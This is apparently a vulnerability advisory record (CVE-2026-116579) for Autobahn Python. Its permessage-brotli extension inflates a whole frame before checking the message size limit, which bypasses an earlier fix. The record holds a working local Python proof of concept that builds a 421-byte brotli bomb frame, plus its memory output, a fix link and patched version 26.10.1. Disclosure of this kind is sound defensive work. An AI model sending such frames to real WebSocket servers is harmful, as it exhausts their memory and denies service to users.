{"id":"CVE-2026-116579","aliases":["GHSA-pjh6-c8mg-3x7m"],"url":"https://o3.security/vulnerability/CVE-2026-116579","summary":"Autobahn Python: permessage-brotli inflates a whole frame before maxMessagePayloadSize is checked (incomplete fix of GHSA-hxp9-w8x3-p566)","details":"### Summary\n\npermessage-brotli inflates each frame fully before checking maxMessagePayloadSize, so one 421-byte frame makes the server allocate about 545 MiB even with a 1 MiB message limit (brotli expands about 1,000,000:1). Any unauthenticated client can exhaust server memory this way on servers that enable permessage-brotli. This bypasses the GHSA-hxp9-w8x3-p566 fix.\n\n### Details\n\nIn 26.7.1 the receive path passes the remaining `maxMessagePayloadSize` budget to `decompress_message_data(..., max_output_len=...)`. deflate and bzip2 stop at that budget. `PerMessageBrotli.decompress_message_data` (`compress_brotli.py`) instead calls `self._decompressor.process(data)` with no limit and compares the length afterwards, so the whole frame is inflated first.\n\nThe code comment and changelog say this is still \"bounded on the wire by `maxFramePayloadSize`\", but brotli reaches about 1,000,000:1 (841 bytes inflate to 1 GiB), so that bound means little. A 421-byte frame against a 1 MiB budget peaks at 545 MiB before the 1009 rejection.\n\nAn autobahn asyncio server on 127.0.0.1 accepting permessage-brotli, with `maxFramePayloadSize=64 KiB` and `maxMessagePayloadSize=1 MiB`, received one small brotli frame from an autobahn client and peaked at 545 MiB (baseline 28 MiB). A few concurrent connections can exhaust memory.\n\nbrotli ≥ 1.2.0 has `Decompressor.process(data, output_buffer_limit=N)`, so the backend can stop at `max_output_len` like deflate and bzip2 (and the extra's floor can be raised to `brotli>=1.2.0`).\n\nTested on autobahn 26.7.1 (latest) with brotli 1.2.0; `compress_brotli.py` on master is unchanged. This affects servers that enable permessage-brotli (opt-in, needs the `compress` extra).\n\n### Proof of concept\n\nHow to run the PoC\n```\npython3 -m venv venv && . venv/bin/activate\npip install autobahn==26.7.1 brotli==1.2.0\npython3 poc_autobahn.py\n```\n\n```python\n# PoC: autobahn 26.7.1 permessage-brotli inflates a whole frame before maxMessagePayloadSize is checked.\nimport brotli, resource\nfrom autobahn.websocket.compress import PerMessageBrotli\n\nc = brotli.Compressor()  # build a 256 MiB-of-zeros frame without holding the plaintext\nframe = b\"\".join(c.process(b\"\\0\" * (1 << 20)) for _ in range(256)) + c.finish()\npmce = PerMessageBrotli(is_server=True, server_no_context_takeover=False, client_no_context_takeover=False)\npmce.start_decompress_message()\nprint(len(frame), \"bytes on the wire; peak RSS before:\", resource.getrusage(resource.RUSAGE_SELF).ru_maxrss >> 10, \"MiB\")\ntry:\n    pmce.decompress_message_data(frame, max_output_len=1 << 20)  # remaining budget: 1 MiB\nexcept Exception as e:\n    print(type(e).__name__, \"| peak RSS after:\", resource.getrusage(resource.RUSAGE_SELF).ru_maxrss >> 10, \"MiB\")\n```\n\nOutput:\n```\n421 bytes on the wire; peak RSS before: 36 MiB\nPayloadExceededError | peak RSS after: 545 MiB\n```\n\n### Impact\n\nAn unauthenticated WebSocket client can make a server that enabled permessage-brotli allocate hundreds of MB or more per tiny frame, regardless of the configured `maxMessagePayloadSize`. That is the memory-exhaustion DoS GHSA-hxp9-w8x3-p566 was meant to prevent.\n\nCredit goes to Adrian Korwel.","published":"2026-10-26T20:29:22.906Z","modified":"2026-10-29T02:30:39.264027023Z","cvss":{"score":5.9,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"autobahn","fixedVersion":"26.10.1"}],"fix":{"url":"https://github.com/crossbario/autobahn-python/commit/a41442bbee4f6126a8ce1bb892840124c24d16f1","label":"crossbario/autobahn-python@a41442b"},"references":[{"type":"WEB","url":"https://github.com/crossbario/autobahn-python/releases/tag/v26_10_1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116579.json"},{"type":"ADVISORY","url":"https://github.com/crossbario/autobahn-python/security/advisories/GHSA-pjh6-c8mg-3x7m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116579"},{"type":"FIX","url":"https://github.com/crossbario/autobahn-python/commit/a41442bbee4f6126a8ce1bb892840124c24d16f1"},{"type":"FIX","url":"https://github.com/crossbario/autobahn-python/pull/1987"},{"type":"PACKAGE","url":"https://github.com/crossbario/autobahn-python"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-29T02:30:39.264027023Z"}}